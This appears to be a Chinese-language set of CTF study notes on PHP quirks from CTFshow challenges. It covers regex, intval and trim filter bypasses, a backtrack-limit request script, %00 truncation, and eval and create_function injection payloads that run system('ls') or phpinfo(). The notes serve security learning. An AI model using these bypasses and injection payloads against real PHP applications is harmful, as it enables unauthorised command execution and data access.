前言 抽空把CTFshow上的PHP特性入门做了下,有些看了师傅们的WP,感觉还是有很多自己以前没接触过的小trick,再此记录一下,后期会不断整理收集新的关于PHP语言的特性~
学会自己本地搭建环境去测试,很多问题就是测试出来从而得到解决的。
preg_match特性 正则表达式绕过的一些方式
数组绕过
if(preg_match("/[0-9]/", $num) -num[]=1 绕过,会返回FALSE
%0a
利用%0a 换行符,来绕过非多行模式下(m代表多行模式),^ 和 $ 限定的匹配,譬如:
if(preg_match('/^php$/i', $a)) a=%0aphp 可以绕过匹配
%5c
1 2 if (preg_match ('/^[a-z0-9_]*$/isD' ,$act )) { echo 'check' ;
这个地方传参?act=%5c就可以绕过限制,用%5c开头。
参考文章: https://paper.seebug.org/755/
回溯绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。
example:
1 2 3 4 5 6 7 8 9 10 11 12 if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
对用的poc:
1 2 3 4 5 6 7 import requests url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/" data={ 'f' :'very' *250000 +'ctfshow' } r=requests.post (url,data=data) print (r.text)
intval函数特性 官方描述:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 (PHP 4 , PHP 5 , PHP 7 ) intval ( mixed $var [, int $base = 10 ] ) : int examples: <?php echo intval (42 ); echo intval (4.2 ); echo intval ('42' ); echo intval ('+42' ); echo intval ('-42' ); echo intval (042 ); echo intval ('042' ); echo intval (1e10 ); echo intval ('1e10' ); echo intval (0x1A ); echo intval (42000000 ); echo intval (420000000000000000000 ); echo intval ('420000000000000000000' ); echo intval (42 , 8 ); echo intval ('42' , 8 ); echo intval (array ()); echo intval (array ('foo' , 'bar' )); echo intval (false ); echo intval (true ); ?> Note: The base parameter has no effect unless the var parameter is a string . 当这个var 参数是字符串类型时,base=0 ,则传过来以0 开头,八进制处理,以0 x开头 16 进制处理
要了解一个函数,就去看它的官方文档
根据这个函数的一些特性,可以衍生出很多绕过方式:
1 2 3 4 5 6 intval ('4476.0' )===4476 小数点 intval ('+4476.0' )===4476 正负号intval ('4476e0' )===4476 科学计数法intval ('0x117c' )===4476 16 进制intval ('010574' )===4476 8 进制intval (' 010574' )===4476 8 进制+空格
逻辑问题 and 和 && 的区别:
1 2 $v1 =1 and 0 and 0 $v1 =1 && 0 && 1
&& 和 ||
1 2 3 4 5 if (false && false || true ) { echo 123 ; } 最后的结果是123
PHP的弱比较 官方文档
1 2 3 4 5 in_array ()函数 延用了 == :$allow =array (1 ,2 ,3 )var_dump ('1.php' ,$allow ) $allow2 =array ('1' ,'2' ,'3' )var_dump ('1.php' ,$allow2 )
反射类 ReflectionClass 类
ReflectionClass 类报告了一个类的有关信息。
examples:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class ctfer {public static $flag ="flag{you_are_ctfer}" ;const PI=3.14 ;static function ctf ( ) { echo "hello</br>" ; } } $a =new ReflectionClass ('A' );var_dump ($a ->getConstants ()); array (1 ) { ["PI" ]=> float (3.14 ) } var_dump ($a ->getName ());string (5 ) "ctfer" var_dump ($a ->getStaticProperties ()); array (1 ) { ["flag" ]=> string (19 ) "flag{you_are_ctfer}" } var_dump ($a ->getMethods ()); array (1 ) { [0 ]=> object (ReflectionMethod) ["name" ]=> string (3 ) "ctf" ["class" ]=> string (5 ) "ctfer" } }
php截断 这个百度查了一下,说在5.3.4之后弃用了,但是发现在5.6貌似还可以用,我们可以利用%00 来截断字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ){ die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; } 第一个正则得保证变量c都是字母 第二个满足变量c反转后值为0x36d payload: a%00778
全局变量 有时候可以利用全局变量来打印出所有的变量
var_dump($GLOBALS);
trim函数 1 2 3 4 5 6 trim (PHP 4 , PHP 5 , PHP 7 ) trim — Strip whitespace (or other characters) from the beginning and end of a string Description trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] ) : string 可以看到没有过滤掉\f,可以利用这个来绕过
一个例子:
1 2 $num=$_GET['num']; if(trim($num)!=='36' ) //这个可以用%0c36过的
is_numeric函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 is_number (12 ); is_number (-12 ); is_number (-12.2 ); is_number ("12" ); is_number ("-124.3" ); is_number (0.8 ); is_number ("0.8" ); is_number (0 ); is_number ("0" ); is_number (NULL ); is_number (true ); is_number (false ); is_number ("324jdas32" ); is_number ("123-" ); is_number (1e7 ); is_number ("1e7" ); is_number (0x155 ); is_number ("0x155" );
PS: is_numeric(‘0x16’) 对 php5版本有效,对php7无效,会返回false
传参处理 1 2 3 4 <?php if (isset ($_POST ['CTF_SHOW.COM' ])){ echo 123 ; }
这里只有传CTF[SHOW.COM参数,值才可以被正常接收到 ps: [ 的编码为 %5B
1 2 3 4 <?php if (isset ($_POST ['CTF_SHOW' ])){ echo 123 ; }
这里传CTF SHOW (用空格代替_)
绕过return 1 $code = eval ("return $v1 $v3 $v2 ;" );
以这个为例子,参数v1,v2,v3均可控,这里假设不对其进行任何过滤,我们很容易想到的就是 传 v1=1;v3=system(‘ls’);v2=1
带入就是eval(return 1;system(‘ls’);1) 函数执行 return 1 时,已经返回,后面的语句就无法执行的 。怎么绕过?这里可以利用运算来绕过
PHP中有个特点,1-phpinfo() 是可以执行 phpinfo的,所以这里可以传 v1=1 v2=1 v3=-phpinfo() 然后带入语句为:eval(1-phpinfo()-1;)可以成功执行。
衍生出的其他方式:(这里的命令是任意的)
1 2 3 4 return 1 +phpinfo ()+1 ;return 1 *phpinfo ()*1 ;return 1 ?phpinfo ():1 ;return 1 ==phpinfo ()||1 ;
create_function()注入 函数介绍:
(PHP 4 >= 4.0.1, PHP 5, PHP 7)
create_function — Create an anonymous (lambda-style) function
This function has been DEPRECATED as of PHP 7.2.0. Relying on this function is highly discouraged.
create_function ( string $args , string $code ) : string
样例:
1 2 3 4 5 6 7 8 9 10 11 create_function ('$a' ,'echo $a' )等效于 function f ($a ) { echo $a ; } 而当code参数可控的时候: create_function ('' ,'echo 123;}system("ls");//' )等效为 function f ( ) { echo 123 ;}system ("ls" ); 就成功造成了命令注入
其他 包括一些函数的介绍
gettext 扩展
如果开启了gettext扩展,那么 _() 等效于 gettext()
call_user_func('_','phpinfo') 此时这个 等效于 gettext('phpinfo') 就可以得到phpinfo
get_defined_vars
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
可以利用这个函数来得到当前很多的变量值。
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func — Call the callback given by the first parameter
Description
call_user_func ( callable $callback [, mixed $... ] ) : mixed
第一个参数为回调的函数,第二个参数为传入的参数。
Calls the callback given by the first parameter and passes the remaining parameters as arguments.
样例:
1 2 3 4 5 6 7 8 9 10 11 12 <?php function barber ($type ) { echo "You wanted a $type haircut, no problem\n" ; } call_user_func ('barber' , "mushroom" );call_user_func ('barber' , "shave" );?> 输出: You wanted a mushroom haircut, no problem You wanted a shave haircut, no problem
也可以利用这个函数来传数组:
1 2 3 4 5 6 7 8 9 class ctfshow { static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
传入 ctfshow[0]=ctfshow&ctfshow[1]=getFlag